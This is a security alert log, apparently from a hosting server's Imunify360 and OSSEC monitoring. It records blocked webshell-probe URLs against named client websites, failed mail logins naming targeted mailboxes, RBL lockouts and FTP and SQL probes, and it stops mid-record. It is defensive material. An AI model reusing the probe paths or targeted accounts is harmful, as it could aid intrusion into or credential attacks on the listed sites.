2026-01-19 03:13:36 dovecot_login authenticator failed for H=(ADMIN) [185.208.156.158]:36600: 535 Incorrect authentication data (set_id=jasinpack@jpack.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.119
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/img/csr.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.63
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/images/portfolio/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/career.php||SC:/home/sutsbcom/public_html/images||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.216.88.110
country_id: 3469034
description:
Jan 19 03:13:59 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.216.88.110 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.223.2.42
country_id: 1269750
description:
Jan 19 03:14:13 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.223.2.42 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.145.116
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/news-n-events/img/demos/img/img/img/img/about.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 11307
name: Multiple connection attempts from same source
abuser: 66.132.153.115
country_id: 6252001
description:
Jan 19 03:15:29 sv3 pure-ftpd[3407683]: (?@66.132.153.115) [INFO] New connection from 66.132.153.115


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 66.132.153.115
country_id: 6252001
description:
Jan 19 03:15:22 sv3 pure-ftpd[3407636]: (?@66.132.153.115) [INFO] New connection from 66.132.153.115


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/themes/apm/images/cert.php||SC:/home/sutsbcom/public_html/wp-content/themes/apm||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.46.113.138
country_id: 2960313
description:
Jan 19 03:19:06 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.46.113.138 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.46.113.138
country_id: 2960313
description:
2026-01-19 03:19:08 dovecot_login authenticator failed for H=(hNMoMLw9s) [37.46.113.138]:27689: 535 Incorrect authentication data (set_id=sales@chs.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.119
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/img/project.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.121.95.175
country_id: 3469034
description:
Jan 19 03:23:11 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.121.95.175 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.53.175.253
country_id: 3439705
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/after/427/580023 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/img/druma_photos/press.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 91.196.55.4
country_id: 690791
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/surprise/17/136/1712665 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 205.210.31.216
country_id: 6252001
description:
Jan 19 03:26:11 sv3 pure-ftpd[3413876]: (?@205.210.31.216) [INFO] New connection from 205.210.31.216


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/design-proposal.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/img/photos/esg.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.111
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/images/img/photos/article.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/ways-to-develop-a-project-on-the-net-classroom/images/sliders/osl.php||SC:/home/sutsbcom/public_html/ways-to-develop-a-project-on-the-net-classroom||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.4
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/images/home/private-residence.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77350600
name: IM360 WAF: Suspicious .min.php file in wp-includes
abuser: 146.174.189.70
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Suspicious .min.php file in wp-includes||SC:/home/sutsbcom/public_html/wp-includes/assets/script-loader-react-refresh-runtime.min.php||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/images/awards.php||SC:/home/indfinitydesign/public_html/images/awards.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 149.255.1.35
country_id: 2017370
description:
Jan 19 03:41:19 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 149.255.1.35 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 205.210.31.243
country_id: 6252001
description:
2026-01-19  3:41:41 321308 [Warning] Aborted connection 321308 to db: 'unconnected' user: 'unauthenticated' host: '205.210.31.243' (This connection closed normally without authentication)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.33.1.71
country_id: 3595528
domain: geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/geminiflourmill.com/award.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.122.43.59
country_id: 3469034
description:
Jan 19 03:45:25 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.122.43.59 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.211.21.16
country_id: 2300660
description:
Jan 19 03:45:58 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.211.21.16 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.80.117.143
country_id: 1168579
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=14321514882889 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.111
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/languages/images/cdn-cgi/l/cdn-cgi/l/Survey_Meter_Calibration.php||SC:/home/sutsbcom/public_html/wp-content/languages||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.63
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/img/photos/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/Radioactive_Waste_Management.php||SC:/home/sutsbcom/public_html/img||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 72.27.182.124
country_id: 3489940
domain: www.kimmark.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.kimmark.com/product-sub.php?id=23&sub=65 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.169.23.135
country_id: 3017382
description:
2026-01-19 04:01:42 dovecot_login authenticator failed for H=basti-fritzsche.de (lvps83-169-23-135.dedicated.hosteurope.de) [83.169.23.135]:48722: 535 Incorrect authentication data (set_id=hrd@kendek.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/images/portfolio/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/about.php||SC:/home/sutsbcom/public_html/images||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.63
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/languages/images/sliders/cdn-cgi/l/faq.php||SC:/home/sutsbcom/public_html/wp-content/languages||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 94.156.152.18
country_id: 732800
description:
2026-01-19 04:11:03 H=([94.156.152.18]) [94.156.152.18]:65033 F=<mekdes@maatextiles.com> rejected RCPT <enquiry@ms-chemicals.net>: SPF: 94.156.152.18 is not allowed to send mail from maatextiles.com


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.170.150.133
country_id: 1605651
description:
Jan 19 04:12:48 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.170.150.133 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.170.150.133
country_id: 1605651
description:
2026-01-19 04:12:50 dovecot_login authenticator failed for H=([203.170.150.133]) [203.170.150.133]:60500: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.17
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/news-n-events/img/demos/img/index.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.241
country_id: 3175395
description:
Jan 19 04:15:41 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.241 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.97.180.94
country_id: 3469034
description:
Jan 19 04:15:32 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.97.180.94 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.241
country_id: 3175395
description:
Jan 19 04:15:59 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.241 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.73.135
country_id: 3469034
description:
Jan 19 04:16:00 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.73.135 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.86.166.102
country_id: 3469034
description:
Jan 19 04:16:14 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.86.166.102 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.170.2
country_id: 3175395
description:
Jan 19 04:18:33 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.170.2 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.130.18
country_id: 1880251
domain: www.cofreth.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/wwwcofrethcommy/images/smart.php||SC:/home2/cofrethcom/public_html/index.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.57.28.249
country_id: 3895114
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=5&sub=23 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.192.204.75
country_id: 798544
description:
Jan 19 04:24:45 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.192.204.75 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.43
country_id: 3175395
description:
Jan 19 04:24:16 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.43 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.109.89.50
country_id: 2589581
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=8&sub=12 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.233.85.194
country_id: 1814991
description:
Jan 19 04:25:07 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.233.85.194 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.192.204.75
country_id: 798544
description:
Jan 19 04:24:58 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.192.204.75 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.7
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/themes/apm/images/cdn-cgi/l/cdn-cgi/l/news.php||SC:/home/sutsbcom/public_html/wp-content/themes/apm||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/keyword/images/home/index.php||SC:/home/indfinitydesign/public_html/keyword||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/img/photos/cdn-cgi/l/cdn-cgi/l/Survey_Meter_Calibration.php||SC:/home/sutsbcom/public_html/img||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.170.145.184
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=993425 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.127.42.116
country_id: 2395170
description:
Jan 19 04:32:16 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.127.42.116 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.136.75
country_id: 99237
description:
Jan 19 04:33:45 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.136.75 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.136.75
country_id: 99237
description:
Jan 19 04:33:58 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.136.75 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.207.43.51
country_id: 6290252
description:
Jan 19 04:34:05 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.207.43.51 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.219.124.168
country_id: 798544
description:
Jan 19 04:34:23 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.219.124.168 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.216.209.80
country_id: 933860
description:
Jan 19 04:35:47 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.216.209.80 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.130.170.240
country_id: 3469034
description:
Jan 19 04:35:51 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.130.170.240 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 197.255.205.138
country_id: 2413451
description:
Jan 19 04:35:11 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 197.255.205.138 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.183.92.73
country_id: 3469034
description:
Jan 19 04:35:25 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.183.92.73 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.61.145
country_id: 953987
description:
Jan 19 04:36:02 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.61.145 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.130.170.240
country_id: 3469034
description:
Jan 19 04:36:00 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.130.170.240 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.216.209.80
country_id: 933860
description:
Jan 19 04:36:02 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.216.209.80 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 104.152.52.141
country_id: 6252001
description:
Jan 19 04:40:02 sv3 pure-ftpd[3459437]: (?@104.152.52.141) [INFO] New connection from 104.152.52.141


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 104.152.52.147
country_id: 6252001
description:
Jan 19 04:40:02 sv3 pure-ftpd[3459429]: (?@104.152.52.147) [INFO] New connection from 104.152.52.147


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 104.152.52.134
country_id: 6252001
description:
Jan 19 04:40:02 sv3 pure-ftpd[3459493]: (?@104.152.52.134) [INFO] New connection from 104.152.52.134


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 104.152.52.144
country_id: 6252001
description:
Jan 19 04:40:02 sv3 pure-ftpd[3459495]: (?@104.152.52.144) [INFO] New connection from 104.152.52.144


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 104.152.52.207
country_id: 6252001
description:
Jan 19 04:40:01 sv3 pure-ftpd[3459359]: (?@104.152.52.207) [INFO] New connection from 104.152.52.207


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 104.152.52.203
country_id: 6252001
description:
Jan 19 04:40:02 sv3 pure-ftpd[3459397]: (?@104.152.52.203) [INFO] New connection from 104.152.52.203


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.0.172
country_id: 690791
description:
Jan 19 04:45:00 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.0.172 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 168.0.224.119
country_id: 3469034
description:
Jan 19 04:45:58 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 168.0.224.119 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 50.117.73.150
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:04-47.50.117.73.150||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.166.202.52
country_id: 3865483
domain: solidfence.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/solidfence.com.my/product-posts/assets/img/product/Anti Climb.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77142247
name: IM360 WAF: Track WordPress WP Custom Pages 0.5.0.1 LFI
abuser: 27.154.192.0
country_id: 1814991
domain: feliogroup.com.my
description:
IM360 WAF: Track WordPress WP Custom Pages 0.5.0.1 LFI||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/download.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.140.123.4
country_id: 6290252
description:
Jan 19 04:47:03 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.140.123.4 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.93.33.168
country_id: 660013
domain: nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/nobledec.com/img/photos/2304958228.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.139.180.141
country_id: 3175395
description:
Jan 19 04:47:39 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.139.180.141 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 198.105.121.124
country_id: 2635167
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:04-49.198.105.121.124||RSV:7.64||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 64.227.31.9
country_id: 6252001
description:
2026-01-19  4:50:03 324357 [Warning] Aborted connection 324357 to db: 'unconnected' user: 'unauthenticated' host: '64.227.31.9' (This connection closed normally without authentication)


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 146.174.177.50
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/sutsbcom/public_html/wp-includes/SimplePie/src/Sanitize.php||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.101
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/img/img/img/img/img/img/img/img/img/img/news.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.150.192.143
country_id: 2510769
description:
2026-01-19 04:56:27 H=(localhost.localdomain) [45.150.192.143]:38236 F=<info@edsim.com> rejected RCPT <enquiry@nexuscollection.com>: SPF: 45.150.192.143 is not allowed to send mail from edsim.com


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.43.184.216
country_id: 2510769
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:04-58.45.43.184.216||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.117.16.118
country_id: 3865483
description:
Jan 19 04:58:32 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.117.16.118 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.146.179
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/img/img/img/demos/img/img/img/new-development.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.96.192.42
country_id: 3865483
description:
Jan 19 04:58:09 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.96.192.42 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.150.192.143
country_id: 2510769
description:
2026-01-19 04:59:04 H=(localhost.localdomain) [45.150.192.143]:40258 F=<info@edsim.com> rejected RCPT <euratech@euratech.com.my>: SPF: 45.150.192.143 is not allowed to send mail from edsim.com


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.7
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/company.php||SC:/home/sutsbcom/public_html/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.87.194.67
country_id: 1168579
description:
2026-01-19 04:59:49 dovecot_login authenticator failed for H=([103.253.19.87]) [103.87.194.67]:58411: 535 Incorrect authentication data (set_id=iliyas@maalloys.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.109.167.72
country_id: 3469034
description:
